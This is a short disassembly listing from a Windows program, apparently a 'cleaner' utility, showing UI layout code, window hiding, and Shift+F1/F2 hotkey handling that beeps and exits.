addss xmm0, dword [0x14009b684]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
mov rcx, qword [0x1400a27c0]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
lea rcx, str.Also_press_Shift__F2_to_close_the_cleaner.
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x98]
subss xmm0, dword [rax + 0x9c]
mov byte [rax + 0x159], 1
addss xmm1, dword [0x14009b674]
addss xmm0, dword [0x14009b68c]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
call fcn.1400345c0
mov ecx, 1
call fcn.140008280
comiss xmm6, dword [0x1400a20b8]
jb 0x14003f538
mov rdx, qword [0x1400a27d8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 1
call fcn.140008280
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14003f572
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14003f572
cmp byte [0x1400a20c9], r15b
je 0x14003f572
mov byte [0x1400a20c9], r15b
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14003f5b4
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14003f5b4
mov edx, 0xc8
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140014610
call fcn.14000eb40
mov rax, qword [0x1400a27c0]
mov rcx, qword [rax + 0x4b98]
mov rcx, qword [rcx]
add rcx, 0x50
cmp byte [rcx], r15b
cmove rcx, r15
call fcn.140001230
movaps xmm14, xmmword [rsp + 0x150]
movaps xmm10, xmmword [rsp + 0x160]
movaps xmm9, xmmword [rsp + 0x170]
mov r13, qword [rsp + 0x1f0]
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.140040ae0
lea r11, [rsp + 0x1b0]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret